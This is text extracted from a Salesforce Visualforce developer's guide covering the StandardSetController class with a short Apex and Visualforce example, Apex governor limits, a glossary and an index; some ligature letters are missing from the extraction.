System.PageReference Returns the PageReference of the original page, if known, or the home page. Void Boolean Returns the rst page of records. Indicates whether there are more records in the set than the maximum record limit. If this is false, there are more records than you can process using the list controller. The maximum record limit is 10,000 records. Returns the ID of the lter that is currently in context. Indicates whether there are more records after the current page set. Indicates whether there are more records before the current page set.
System.SelectOption[] Returns a list of the listviews available to the current user. Integer Integer Returns the page number of the current page set. Note that the rst page returns 1. Returns the number of records included in each page set.
431
StandardSetController Class
Name
getRecord
Arguments
Description Returns the sObject that represents the changes to the selected records.This retrieves the prototype object contained within the class, and is used for performing mass updates. Returns the list of sObjects in the current page set. This list is immutable, i.e. you can't call clear() on it. Returns the number of records in the set. Returns the list of sObjects that have been selected. Returns the last page of records. Returns the next page of records. Returns the previous page of records.
getRecords
System.PageReference Inserts new records or updates existing records that have been changed. After this operation is nished, it returns a PageReference to the original page, if known, or the home page. String filterId Void Sets the lter ID of the controller. Sets the page number. Sets the number of records in each page set. Set the selected records.
Void Void
Example
The following example shows how a StandardSetController object can be used in the constructor for a custom list controller:
public class opportunityList2Con { // ApexPages.StandardSetController must be instantiated // for standard list controllers public ApexPages.StandardSetController setCon { get { if(setCon == null) { setCon = new ApexPages.StandardSetController(Database.getQueryLocator( [select name,closedate from Opportunity])); } return setCon; } set; } // Initialize setCon and return a list of records public List<Opportunity> getOpportunities() { return (List<Opportunity>) setCon.getRecords(); } }
The following Visualforce markup shows how the controller above can be used in a page:
<apex:page controller="opportunityList2Con"> <apex:pageBlock >
432
StandardSetController Class
<apex:pageBlockTable value="{!opportunities}" var="o"> <apex:column value="{!o.name}"/> <apex:column value="{!o.closedate}"/> </apex:pageBlockTable> </apex:pageBlock> </apex:page>
433
Appendix
D
Understanding Execution Governors and Limits
Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces a number of limits to ensure that runaway Apex does not monopolize shared resources. These limits, or governors, track and enforce the statistics outlined in the following table. If some Apex code ever exceeds a limit, the associated governor issues a runtime exception that cannot be handled. Governor limits apply to an entire organization, as well as to specic namespaces. For example, if you install a managed package created by a salesforce.com ISV Partner from Force.com AppExchange, the components in the package belong to a namespace unique from other components in your organization. Consequently, any Apex code in that package can issue up to 20 DML statements while executing. In addition, any Apex code that is native to your organization can also issue up to 150 DML statements, meaning more than 150 DML statements might execute during a single request if code from the managed package and your native organization both execute. Conversely, if you install a package from AppExchange that is not created by a salesforce.com ISV Partner, the code from that package does not have its own separate governor limit count. Any resources it uses counts against the total for your organization. Cumulative resource messages and warning emails are also generated based on managed package namespaces as well. For more information on salesforce.com ISV Partner packages, see salesforce.com Partner Programs. Description Total number of SOQL queries issued
1
Total number of records retrieved by SOQL queries Total number of SOSL queries issued Total number of records retrieved by a single SOSL query Total number of DML statements issued2
database.emptyRecycleBin
Total number of records processed as a result of DML statements, Approval.process, or 10,000 Total number of executed code statements Total heap size3 200,000 3 MB3
Total stack depth for any Apex invocation that recursively res triggers due to insert, update, 16 or delete statements4 For loop list batch size Total number of callouts (HTTP requests or Web services calls) in a request Total request time for all callouts (HTTP requests or Web services calls) in a request 200 10 120 seconds
434
Description Default timeout of callouts (HTTP requests or Web services calls) in a request Maximum timeout for custom callouts (HTTP requests or Web services calls) in a request Total number of methods with the future annotation allowed per Apex invocation Maximum size of callout request or response (HTTP request or Web services call)6 Total number of sendEmail methods allowed Total number of describes allowed
1 7 5
In a SOQL query with parent-child relationship sub-queries, each parent-child relationship counts as an additional query. These types of queries have a limit of three times the number for top-level queries. The row counts from these relationship queries contribute to the row counts of the overall script execution.
2
Calls to the following methods count against the number of DML statements issued in a request:
Approval.process database.emptyRecycleBin delete and database.delete findSimilar insert and database.insert merge rollback runAs setSavePoint update and database.update upsert and database.upsert
3 4
Batch Apex heap size is 6 MB. Email services heap size is 18 MB.
Recursive Apex that does not re any triggers with insert, update, or delete statements exists in a single invocation, with a single stack. Conversely, recursive Apex that res a trigger spawns the trigger in a new Apex invocation, separate from the invocation of the code that caused it to re. Because spawning a new invocation of Apex is a more expensive operation than a recursive call in a single invocation, there are tighter restrictions on the stack depth of these types of recursive calls.
5
Salesforce also imposes a limit on the number of future annotations: 200 method calls per full Salesforce user license per 24 hours. This is an organization-wide limit. For example, suppose your organization has ve full Salesforce user licenses and 100 Customer Portal User licenses. Your entire organization is limited to only 1,000 method calls every 24 hours (5 * 200, not 105.) The HTTP request and response sizes are calculated as part of the total heap size. So regardless of this limit, don't exceed the 3 MB total heap size.
7
Describes include the following methods and objects: ChildRelationship objects RecordTypeInfo objects PicklistEntry objects fields calls
Limits apply individually to each testMethod. Use the Limits methods to determine the script execution limits for your code while it is running. For example, you can use the getDMLStatements method to determine the number of DML statements that have already been called by your program, or
435
the getLimitDMLStatements method to determine the total number of DML statements available to your code in that context. For more efcient SOQL queries, particularly for queries inside of triggers, use selective (indexed) queries. Selective queries lter on primary keys, foreign keys, names, audit dates (such as LastModifiedDate), or External ID elds. In large organizations, non-selective queries could be stopped at runtime in order to prevent very long running operation times. If you need them for your application, contact your salesforce.com representative. Note: If you use a non-selective query in a trigger against an object that contains more than 100000 records an error is generated. You should include indexed elds in the WHERE clause to avoid these exceptions. Static variable values are reset between API batches, but governor limits are not. Do not use static variables to track state information on API batches, because Salesforce may break up a batch into smaller chunks than the batch size you specify. In addition to the execution governor limits, Apex has the following limits: Maximum number of characters for a class: 1 million Maximum number of characters for a trigger: 1 million Maximum amount of code used by all Apex scripts in an organization: 2 MB Note: This limit does not apply to certied managed packages installed from AppExchange, (that is, an app that has been marked AppExchange Certied). The code in those types of packages belong to a namespace unique from the code in your organization. For more information on AppExchange Certied packages, see the Force.com AppExchange online help. This limit also does not apply to any code included in a class dened with the @isTest annotation. If a SOQL query runs more than 120 seconds, the request can be canceled by Salesforce. Each Apex request is limited to 10 minutes of execution. A callout request to a given URL is limited to a maximum of 20 simultaneous requests. The maximum number of records that an event report returns for a user who is not a system administrator is 20,000, for system administrators, 100,000. Each organization is allowed 10 synchronous concurrent events, each not lasting longer than 5 seconds. If additional requests are made while 10 requests are running, it is denied. A user can have up to ve query cursors open at a time. For example, if ve cursors are open and a client application still logged in as the same user attempts to open a new one, the oldest of the ve cursors is released. Cursor limits for different Force.com features are tracked separately. For example, you can have ve Apex query cursors, ve batch cursors, and ve Visualforce cursors open at the same time. In a single transaction, you can only reference 10 unique namespaces. For example, suppose you have an object that executes a class in a managed package when the object is updated. Then that class updates a second object, which in turn executes a different class in a different package. Even though the second package wasn't accessed directly by the rst, because it occurs in the same transaction, it's included in the number of namespaces being accessed in a single transaction.
When dening email services, note the following: An email service only processes messages it receives at one of its addresses. Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on how you congure the failure response settings for each email service. Salesforce calculates the limit by multiplying the number of user licenses by 1,000. For example, if you have ten licenses, your organization can process up to 10,000 email messages a day. Email service addresses that you create in your sandbox cannot be copied to your production organization. For each email service, you can tell Salesforce to send error email messages to a specied address instead of the sender's email address.
436
Email services rejects email messages and noties the sender if the email (combined body text, body HTML and attachments) exceeds approximately 10 MB (varies depending on language and character set).
437
Glossary
A |B |C |D |E |F |G |H |I |J |K |L |M |N |O |P |Q |R |S |T |U |V |W |X |Y |Z
A
Account An account is an organization, company, or consumer that you want to trackfor example, a customer, partner, or competitor. Activity (Calendar Events/Tasks) Planned task or event, optionally related to another type of record such as an account, contact, lead, opportunity, or case. Administrator (System Administrator) One or more individuals in your organization who can congure and customize the application. Users assigned to the System Administrator prole have administrator privileges. Apex Force.com Apex code is a strongly-typed, object-oriented programming language that allows developers to execute ow and transaction control statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax that looks like Java and acts like database stored procedures, Apex code enables developers to add business logic to most system events, including button clicks, related record updates, and Visualforce pages. Apex scripts can be initiated by Web service requests and from triggers on objects. Apex Controller See Controller, Visualforce. Apex Page See Visualforce Page. API Version See Version. App Short for application. A collection of components such as tabs, reports, dashboards, and Visualforce pages that address a specic business need. Salesforce provides standard apps such as Sales and Call Center. You can customize the standard apps to match the way you work. In addition, you can package an app and upload it to the AppExchange along with related components such as custom elds, custom tabs, and custom objects. Then, you can make the app available to other Salesforce users from the AppExchange.
438
Glossary
B
Boolean Operators You can use Boolean operators in report lters to specify the logical relationship between two values. For example, the AND operator between two values yields search results that include both values. Likewise, the OR operator between two values yields search results that include either value.
C
Campaign A marketing initiative, such as an advertisement, direct mail, or conference, that you conduct in order to generate prospects and build brand awareness. Case Detailed description of a customers feedback, problem, or question. Used to track and solve your customers issues. Clone Clone is the name of a button or link that allows you to create a new item by copying the information from an existing item, for example, a contact or opportunity. Collapsible Section Sections on detail pages that users can hide or show. Contact Contacts are the individuals associated with your accounts. Contract A contract is an agreement dening the terms of business between parties. Controller, Visualforce An Apex class that provides a Visualforce page with the data and business logic it needs to run. Visualforce pages can use the standard controllers that come by default with every standard or custom object, or they can use custom controllers. Controller Extension A controller extension is an Apex class that extends the functionality of a standard or custom controller. Component, Visualforce Something that can be added to a Visualforce page with a set of tags, for example, <apex:detail>. Visualforce includes a number of standard components, or you can create your own custom components. Component Reference, Visualforce A description of the standard and custom Visualforce components that are available in your organization. You can access the component library from the development footer of any Visualforce page or the Visualforce Developer's Guide. Cookie Client-specic data used by some Web applications to store user and session-specic information. Salesforce issues a session cookie only to record encrypted authentication information for the duration of a specic session. Custom Controller A custom controller is an Apex class that implements all of the logic for a page without leveraging a standard controller. Use custom controllers when you want your Visualforce page to run entirely in system mode, which does not enforce the prole-based permissions and eld-level security of the current user.
439
Glossary
Custom Field A eld that can be added in addition to the standard elds to customize Salesforce for your organizations needs. Custom Help Custom text administrators create to provide users with on-screen information specic to a standard eld, custom eld, or custom object. Custom Links Custom URLs dened by administrators to integrate your Salesforce data with external websites and back-ofce systems. Formerly known as Web links. Custom Object Custom records that allow you to store information unique to your organization. Custom S-Control Note: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display in a browser, for example a Java applet, an Active-X control, an Excel le, or a custom HTML Web form. Custom App See App.
D
Data State The structure of data in an object at a particular point in time. Dependent Field Any custom picklist or multi-select picklist eld that displays available values based on the value selected in its corresponding controlling eld. Detail A page that displays information about a single object record. The detail page of a record allows you to view the information, whereas the edit page allows you to modify it. A term used in reports to distinguish between summary information and inclusion of all column data for all information in a report. You can toggle the Show Details/Hide Details button to view and hide report detail information. Detail View The Console tab's center frame, which is the detail page view of any record selected from any of the consoles other frames. The detail view displays the same page layouts dened for the object s detail pages. When a record is displayed in the detail view, it is highlighted in the list view. Developer Edition A free, fully-functional Salesforce organization designed for developers to extend, integrate, and develop with the Force.com platform. Developer Edition accounts are available on developer.force.com.
440
Glossary
E
Email Template A form email that communicates a standard message, such as a welcome letter to new employees or an acknowledgement that a customer service request has been received. Email templates can be personalized with merge elds, and can be written in text, HTML, or custom format. Event An event is an activity that has a scheduled time. For example, a meeting, or a scheduled phone call.
F
Facet A child of another Visualforce component that allows you to override an area of the rendered parent with the contents of the facet. Field-Level Help Custom help text that you can provide for any standard or custom eld. It displays when users hover a mouse over the help icon adjacent to that eld. Force.com App Menu A menu that enables users to switch between customizable applications (or apps) with a single click. The Force.com app menu displays at the top of every page in the user interface. Formula Field A type of custom eld. Formula elds automatically calculate their values based on the values of merge elds, expressions, or other values. Function Built-in formulas that you can customize with input parameters. For example, the DATE function creates a date eld type from a given year, month, and day.
G
Get Request A get request is made when a user initially requests a Visualforce page, either by entering a URL or clicking a link or button. Getter Methods Methods that enable developers to display database and other computed values in page markup. Methods that return values. See also Setter Methods.
H
No Glossary items for this entry.
I
No Glossary items for this entry.
441
Glossary
J
Junction Object A custom object with two master-detail relationships. Using a custom junction object, you can model a many-to-many relationship between two objects. For example, you may have a custom object called Bug that relates to the standard case object such that a bug could be related to multiple cases and a case could also be related to multiple bugs.
K
No Glossary items for this entry.
L
Landing Page A landing page is an existing page on your corporate website or a page that you have designed specically for your Google advertisements. Landing pages typically contain an offer and a Web-to-Lead form. Lead A lead is a sales prospect who has expressed interest in your product or company. Length Parameter for custom text elds that species the maximum number of characters (up to 255) that a user can enter in the eld. Parameter for number, currency, and percent elds that species the number of digits you can enter to the left of the decimal point, for example, 123.98 for an entry of 3.
M
Master-Detail Relationship A relationship between two different types of records that associates the records with each other. For example, accounts have a master-detail relationship with opportunities. This type of relationship affects record deletion, security, and makes the lookup relationship eld required on the page layout. Merge Field A eld you can put in an email template, mail merge template, custom link, or formula to incorporate values from a record. For example, Dear {!Contact.FirstName}, uses a contact merge eld to obtain the value of a contact record's First Name eld to address an email recipient by his or her rst name. Mobile Conguration A set of parameters that determines the data Salesforce transmits to users' mobile devices, and which users receive that data on their mobile devices. Organizations can create multiple mobile congurations to simultaneously suit the needs of different types of mobile users.
N
Notes Miscellaneous information pertaining to a specic record.
442
Glossary
O
Object An object allows you to store information in your Salesforce organization. The object is the overall denition of the type of information you are storing. For example, the case object allow you to store information regarding customer inquiries. For each object, your organization will have multiple records that store the information about specic instances of that type of data. For example, you might have a case record to store the information about Joe Smith's training inquiry and another case record to store the information about Mary Johnson's conguration issue. Object-Level Help Custom help text that you can provide for any custom object. It displays on custom object record home (overview), detail, and edit pages, as well as list views and related lists. Opportunities Opportunities track your sales and pending deals. Organization A deployment of Salesforce with a dened set of licensed users. An organization is the virtual space provided to an individual customer of salesforce.com. Your organization includes all of your data and applications, and is separate from all other organizations. Outbound Message An outbound message is a workow, approval, or milestone action that sends the information you specify to an endpoint you designate, such as an external service. An outbound message sends the data in the specied elds in the form of a SOAP message to the endpoint. Outbound messaging is congured in the Salesforce setup menu. Then you must congure the external endpoint. You can create a listener for the messages using the Web services API. Owner Individual user to which a record (for example, a contact or case) is assigned.
P
Package Version A package version is a number that identies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release. If there is no patchNumber, it is assumed to be zero (0). Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A package version has more signicance for managed packages. Packages can exhibit different behavior for different versions. Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. See also Patch and Patch Development Organization. Page Layout The organization of elds, custom links, and related lists on a record detail or edit page. Use page layouts primarily for organizing pages for your users. In Enterprise, Unlimited, and Developer Editions, use eld-level security to restrict users access to specic elds. Partial Page An AJAX behavior where only a specic portion of a page is updated following some user action, rather than a reload of the entire page.
443
Glossary
Postback Request A postback request is made when user interaction requires a Visualforce page update, such as when a user clicks on a Save button and triggers a save action. Primary Contact Field in company information that lists the primary contact for your organization. Also indicates the primary contact associated with an account, contract, or opportunity. Specied as a checkbox in the Contact Roles related list of an account, contract, or opportunity. Product Any item or service your organization sells. Products are dened within a price book, and can be added to opportunities. Available in Professional, Enterprise, Unlimited, and Developer Editions only. Prototype object This is a single sObject contained within the Visualforce StandardSetController class. If the prototype object's elds are set, those values are used during the save action, meaning that the values are applied to every record in the set controller's collection.
Q
No Glossary items for this entry.
R
Read Only One of the standard proles to which a user can be assigned. Read Only users can view and report on information based on their role in the organization. (That is, if the Read Only user is the CEO, they can view all data in the system. If the Read Only user has the role of Western Rep, they can view all data for their role and any role below them in the hierarchy.) Record A single instance of a Salesforce object. For example, John Jones might be the name of a contact record. Record Type A eld available for certain records that can include some or all of the standard and custom picklist values for that record. Record types are special elds that you can associate with proles to make only the included picklist values available to users with that prole. Related List A section of a record or other detail page that lists items related to that record. For example, the Stage History related list of an opportunity or the Open Activities related list of a case. Related Object Objects chosen by an administrator to display in the Console tab's mini view when records of a particular type are shown in the console's detail view. For example, when a case is in the detail view, an administrator can choose to display an associated account, contact, or asset in the mini view. Relationship A connection between two objects, used to create related lists in page layouts and detail levels in reports. Matching values in a specied eld in both objects are used to link related data; for example, if one object stores data about companies and another object stores data about people, a relationship allows you to nd out which people work at the company.
444
Glossary
Report A report returns a set of records that meets certain criteria, and displays it in organized rows and columns. Report data can be ltered, grouped, and displayed graphically as a chart. See Tabular Report, Summary Report, and Matrix Report.
S
S-Control Note: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display in a browser, for example a Java applet, an Active-X control, an Excel le, or a custom HTML Web form. Salesforce API Version See Version. Sites Force.com sites enables you to create public websites and applications that are directly integrated with your Salesforce organizationwithout requiring users to log in with a username and password. Skeleton Template A type of Visualforce template that uses the <apex:composition> tag. Skeleton templates dene a standard structure that requires implementation from subsequent pages. Solution A solution is a detailed description of the resolution to a customer issue.
T
Text Data type of a custom eld that allows entry of any combination of letters, numbers, or symbols, up to a maximum length of 255 characters. Text Area A custom eld data type that allows entry of up to 255 characters on separate lines. Text Area (Long) See Long Text Area.
U
User Interface The layouts that specify how a data model should be displayed.
V
Version A number value that indicates the release of an item. Items that can have a version include API objects, elds and calls; Apex classes and triggers; and Visualforce pages and components.
445
Glossary
View The user interface in the Model-View-Controller model, dened by Visualforce. View State Where the information necessary to maintain the state of the database between requests is saved. Visualforce A simple, tag-based markup language that allows developers to easily dene custom pages and components for apps built on the platform. Each tag corresponds to a coarse or ne-grained component, such as a section of a page, a related list, or a eld. The components can either be controlled by the same logic that is used in standard Salesforce pages, or developers can associate their own logic with a controller written in Apex. Visualforce Lifecycle The stages of execution of a Visualforce page, including how the page is created and destroyed during the course of a user session. Visualforce Page A web page created using Visualforce. Typically, Visualforce pages present information relevant to your organization, but they can also modify or capture data. They can be rendered in several ways, such as a PDF document or an email attachment, and can be associated with a CSS style.
W
No Glossary items for this entry.
X
No Glossary items for this entry.
Y
No Glossary items for this entry.
Z
No Glossary items for this entry.
446
Index
Index
$Component global variable 199 $User global variable 26 $User.UITheme global variable type 50 $User.UIThemeDisplayed global variable type 50 apex (continued) listViews tag 278 message tag 279 messages tag 280 outputField tag 282 outputLabel tag 283 outputLink tag 285 outputPanel tag 288 outputText tag 290 page tag 292 pageBlock tag 295 pageBlockButtons tag 298 pageBlockSection tag 300 pageBlockSectionItem tag 302 pageBlockTable tag 305 pageMessage tag 310 pageMessages tag 311 panelBar tag 312 panelBarItem tag 314 panelGrid tag 316 panelGroup tag 320 param tag 321 relatedList tag 322 repeat tag 324 scontrol tag 326 sectionHeader tag 327 selectCheckboxes tag 328 selectList tag 331 selectOption tag 334 selectOptions tag 337 selectRadio tag 338 stylesheet tag 341 tab tag 342 tabPanel tag 344 toolbar tag 347 toolbarGroup tag 351 variable tag 353 vote tag 354 Apex 91, 109 class security 73 classes used with controllers 408 when to use 14 API 9 API global variable type 375 Architecture controller extension 74, 75, 77 custom controller 74, 75, 77 execution order 74 get request 75 MVC 14 postback request 77 view state 77 Visualforce 11 Archives, referencing les in 119 Asynchronous operation status 46 attachment tag 151 Attachments, adding to email templates 151 attribute tag 125 Attributes action 32 controller 91, 109 default 125
A
About Visualforce 9 Accessing custom components 124 action attribute 32, 201 Action class instantiation 409 methods 409 understanding 409 Action global variable type 374 Action methods 70, 94 actionFunction tag 94, 199 actionPoller tag 70, 94 Actions standard controller 55 actionStatus tag 46, 204 actionSupport tag 47, 70, 94, 165, 199 advanced examples 158 Ajax 45 asynchronous operation status 46 JavaScript events 47 partial page updates 45 AJAX Toolkit 9 apex actionFunction tag 209 actionPoller tag 211 actionRegion tag 213 actionStatus tag 214 actionSupport tag 217 attribute tag 219 column tag 220 commandButton tag 225 commandLink tag 228 component tag 231 componentBody tag 233 composition tag 235 dataList tag 236 dataTable tag 238 dene tag 245 detail tag 246 enhancedList tag 247 facet tag 249 ash tag 250 form tag 251 iframe tag 254 image tag 255 include tag 257 includeScript tag 258 inlineEditSupport tag 259 inputCheckbox tag 260 inputField tag 264 inputFile tag 266 inputHidden tag 268 inputSecret tag 269 inputText tag 272 inputTextarea tag 274 insert tag 277
447
Attributes (continued) for 199 id 199 rerender 199 reRender 45, 47 standardController 54 status 199 style 51 styleClass 51 tabStyle 49, 93 Auto-completion 13
B
Benets, Visualforce 13 Best practices controllers 202 facets 203 improving performance 198 pageBlockSectionItem 205 panelBar 207 PDF 205 render as PDF 205 static resources 201 BlackBerry development 173 Buttons overriding 112 Salesforce styles 51
C
c namespace 124 Callouts execution limits 434 Cascading style sheets extending Salesforce 49 identifying Salesforce look and feel 50 Salesforce 51 chatter feed tag 354 feedWithFollowers tag 355 follow tag 355 followers tag 356 Classes action 409 IdeaStandardController 410 IdeaStandardSetController 413 KnowledgeArticleVersionStandardController 417 message 420 pageReference 421 selectOption 426 standardController 428 standardSetController 430 Visualforce 89 Code security 400 Collections size limits 434 column tag 203 commandButton tag 32, 44, 70, 94, 101, 103 commandLink tag 32, 44, 45, 70, 94 common.css 51 Compiling 24 Component global variable type 375 Component reference 209 using 27
component tag 123 componentLabel global variable type 376 Components, custom See Custom components 121 composition tag 162 compound ID 199 Constructors custom controller 66 ContentType 53 Controllers about 26 architecture 74 best practices 202 creating custom 91, 109 creating custom action methods 94 creating custom getter methods 92 creating custom navigation methods 96 creating dependent controllers and pages 98 custom 65, 66, 408 custom component 126 custom list 69 execution order 74 extending 408 extensions 65, 67, 129 get requests 75 governor limits 74 maintaining view state 89 methods 70 order of method instantiation 74 overview 10 postback requests 77 security 73 sharing rules 202 standard 54 testing 86 transient keyword 89 validation rules 56, 88 view state 74, 77 Visualforce Mobile 170 Conventions 18 Cross-platform mobile development 175 CSS styles extending Salesforce 49 identifying Salesforce look and feel 50 Salesforce 51 Visualforce Mobile 170 CurrentPage global variable 42 CurrentPage global variable type 376 Custom components 121 about 121 attributes 125 controllers 126 default attributes 125 dening 122 email template styles in 150 markup 123 namespaces, componentBody 124 using in markup 124 Custom controllers 65 action methods 70 and email templates 154 architecture 74 building 66 considerations when creating 74 constructors 66 creating 91 creating action methods 94 creating getter methods 92
Index
448
Custom controllers (continued) creating navigation methods 96 execution order 74 get requests 75 getName() method 91 getter methods 71 getting and setting data 72 governor limits 74 order of method instantiation 74 postback requests 77 security 73 setter methods 71 system mode 66 testing 86 using email in 141 using in emails 141 validation rules 88 view state 74, 77 Custom help 201 Custom list controllers building 69 creating 109 mass-update 109 Custom objects related lists 36 Custom styles 51 custom.css 51 Customizing tab home pages 112
D
Dashboard components, Visualforce advanced 104 basic 35 Data model 9 dataTable tag 40, 41, 203 dene tag 162 Dependent picklists adding 33 detail tag 28, 147 Developer Edition 11 Development environments 20 guidelines 20 security 400 tools 20 View State tab 20 Development mode 13, 86 enabling 20 DML operations execution limits 434 Documentation typographical conventions 18 Documents compared to static resources 118 DOM ID 193 Dynamic Visualforce binding 128 custom objects 135 lists 137 maps 137 packages 135 standard objects 129
Email attachments 143 sending 141 templates 146 Email templates 146 attachments 151 creating 147 stylesheets 149 translating 147 using custom controllers 154 emailTemplate tag 147 Environments 20 Events, JavaScript 47 Execution governors understanding 434 Execution order 74 examples 79 Expression operators 398 Extensions, controller 65 action methods 70 architecture 74 considerations when creating 74 execution order 74 get requests 75 getter methods 71 getting and setting data 72 governor limits 74 leftmost 67 order of method instantiation 74 overriding 67 postback requests 77 setter methods 71 testing 86 view state 74, 77
Index
F
facet tag 45, 46, 129, 203 Features, new 17 Field Sets creating 139 using 139 nishLocation 159 Fixes, quick 13, 95 Flash 13 ow interview tag 356 Flows embedding 156 nishLocation 156, 159 for attribute 199 Force.com platform 14 about 9 form tag 32, 44, 101, 103, 141, 147 form tag, Visualforce 105 Forms creating 32 Functions 385 URLFOR 119
G
Get requests 75 getName() method 91 Getter methods 71, 92 Global variables 374 $Action 374
E
Editions supported Salesforce 11 supported Salesforce Mobile 168
449
Global variables (continued) $Api 375 $Component 199, 375 $componentLabel 376 $CurrentPage 376 $Label 376 $Label.Site 377 $ObjectType 379 $Organization 379 $Page 380 $Prole 380 $Resource 119, 380 $SControl 381 $Site 381 $System.OriginDateTime 383 $User 26, 383 $User.UITheme 50, 384 $User.UIThemeDisplayed 50, 384 $UserRole 384 CurrentPage 42 System 93 Governor limits, controller 74 Governors execution 434 Guidelines 20
inputTextarea tag 32 inputTextArea tag, Visualforce 105 insert tag 162 iPhone development 172 mapping application example 183 Iteration components 40, 41
Index
J
Jar archives, referencing les in 119 JavaScript 13 Ajax 45 Ajax asynchronous operation status 46 events 47 library for Visualforce Mobile 177 partial page updates 45 remoting 195 using DOM ID 193 Visualforce 193 JavaScript library Visualforce 194
K
Keywords transient 89 knowledge articleCaseToolbar tag 361 articleList tag 362 articleRendererToolbar tag 363 articleTypeList tag 363 categoryList tag 364 KnowledgeArticleVersionStandardController class methods 417 understanding 417
H
Heap size execution limits 434 Hello World example creating a page 25 displaying eld values 26 Help, custom 201 Highlighting, syntax 13 HTML 13 htmlEmailBody tag 147
I
id attribute 125, 199 id query string parameter 42 ideas detailOutputLink tag 357 listOutputLink tag 358 proleListOutputLink tag 360 IdeaStandardController class instantiation 410 methods 410 understanding 410 IdeaStandardSetController class instantiation 413 methods 413 understanding 413 IDEs 20 image tag, 105 Improving performance 198 include tag 44, 165, 170 inline editing, Visualforce enabling 36 Input components 32 Input components, Visualforce 105 inputCheckbox tag 32 inputField tag 14, 32, 101, 103, 117, 199 inputHidden tag 32 inputSecret tag 32 inputText tag 32, 129
L
Label global variable type 376 Label.site global variable type 377 Layouts, page See Page layouts 9 Library JavaScript commands for Visualforce Mobile 177 Library, component See Component reference 27 Lifecycle controller 74, 75, 77, 79 controller extension 74, 75, 77, 79 execution order 74 get request 75 page 74, 75, 77, 79 postback request 77 view state 77 View State tab 20 Limits code execution 434 Links query string parameters 44 Loops execution limits 434
M
Markup, Visualforce overview 10
450
Merge elds 13 Message class instantiation 420 methods 420 severity enum 421 understanding 420 Message severity 421 messaging attachment tag 365 emailHeader tag 366 emailTemplate tag 367 htmlEmailBody tag 369 plainTextEmailBody tag 370 Messaging namespace EmailFileAttachment class 143 SingleEmailMessage class 141 Methods 70 action 70, 94, 409 ApexPages 408 getName() 91 getter 71, 92 IdeaStandardController 410 IdeaStandardSetController 413 KnowledgeArticleVersionStandardController 417 message 420 navigation 96 pageReference 422 SelectOption 426 setter 71 StandardController 428 StandardSetController 431 Mobile see Visualforce Mobile 168 mobile client application 169 mobile congurations 180 MVC architecture 14
N
Namespaces c 124 custom component 124 Navigation 96, 98 New features in this release 17
Page editor 25 Page global variable type 380 Page layouts limitations 9 page tag 25, 32, 49, 54, 201 pageBlock tag 27, 49, 101, 103, 147 pageBlockButtons tag 101, 103 pageBlockSection tag 101, 103 pageBlockSectionItem tag 205 pageBlockTable tag 40, 41 pageMessage tag 50 PageReference class instantiation 421 methods 422 navigation example 425 query string example 424 understanding 421 PageReference object 93, 96 PageReference objects 95, 101 Pages BlackBerry development 173 cross-platform mobile development 175 iPhone development 172 mobile development 170 styling 49 Pages, Visualforce overview 10 usage 11 panelBar tag 207 param tag 44 Parameters getting query string 42 query string id 42 setting query string 44 Partial page updates 45 PDF, best practice 205 PDF, render as 38 Permissions controller 73 plainTextEmailBody tag 147 Platform, Force.com See Force.com platform 9 Postback requests 77 Prole global variable type 380
Index
O
ObjectType global variable type 379 Operators, expression 398 Organization global variable type 379 outputField tag 117 outputLabel tag 199 outputLink tag 44 outputPanel tag 45, 47, 205 outputText tag 129 Overriding buttons 112 tab home pages 112 Overview Salesforce Mobile 168 Visualforce 9 Visualforce Mobile 168
Q
Queries execution limits 434 Query string parameters 42 getting 42 setting 44 testing with 86 Quick xes 13, 95 Quick start creating a page 25 displaying eld values 26 Editing table data 41 PDF 38 redirecting pages 32 render as PDF 38 specifying a controller 26 Quick start tutorial, Visualforce 24
P
packages 135 Page creation 24
R
Record types 117
451
Redirecting to a static resource 201 Reference, component See Component reference 27 relatedList tag 36, 45 Release notes 17 rendered attribute 125 repeat tag 129, 147, 207 rerender attribute 199 reRender attribute 45 Resource global variable 119 Resource global variable type 380 Resources, static See Static resources 118
S
S-controls compared with Visualforce pages 15 limitations 9 Salesforce editions, supported 11 Salesforce Mobile mobile congurations 180 overview 168 supported devices 168 Salesforce styles 49 Saving 24 SControl global variable type 381 Security code 400 formulas 402 Visualforce 402 Security, controller 73 SelectOption class 426 example 427 instantiation 426 methods 426 selectOption tag, Visualforce 105 selectRadio tag, Visualforce 105 Setter methods 71 Severity, messages 421 Sharing rules 202 site googleAnalyticsTracking tag 371 previewAsAdmin tag 372 Site global variable type 381 SOQL queries execution limits 434 SOSL queries execution limits 434 Standard controllers 54 accessing data 55 actions 55 associating with pages 54 extending 65, 67 styling pages that use 57 validation rules 56 Standard object list 32 StandardController example 430 methods 428 standardController attribute 54 StandardController class instantiation 428 understanding 428 StandardSetController example 432 methods 431
StandardSetController (continued) prototype object 109 StandardSetController class instantiation 431 prototype object 430 understanding 430 Statements execution limits 434 Static resources 118 creating 118 limits 118 redirecting to 201 referencing in markup 119 status attribute 199 style attribute 51 Style sheets See Cascading style sheets. 51 styleClass attribute 51 stylesheet tag 49, 51 Stylesheets email template 149 Styling pages 49 standard controllers and 57 with custom styles 51 with Salesforce styles 49 Syntax highlighting 13 System global variable 93 System mode 66 System.OriginDateTime global variable 383
Index
T
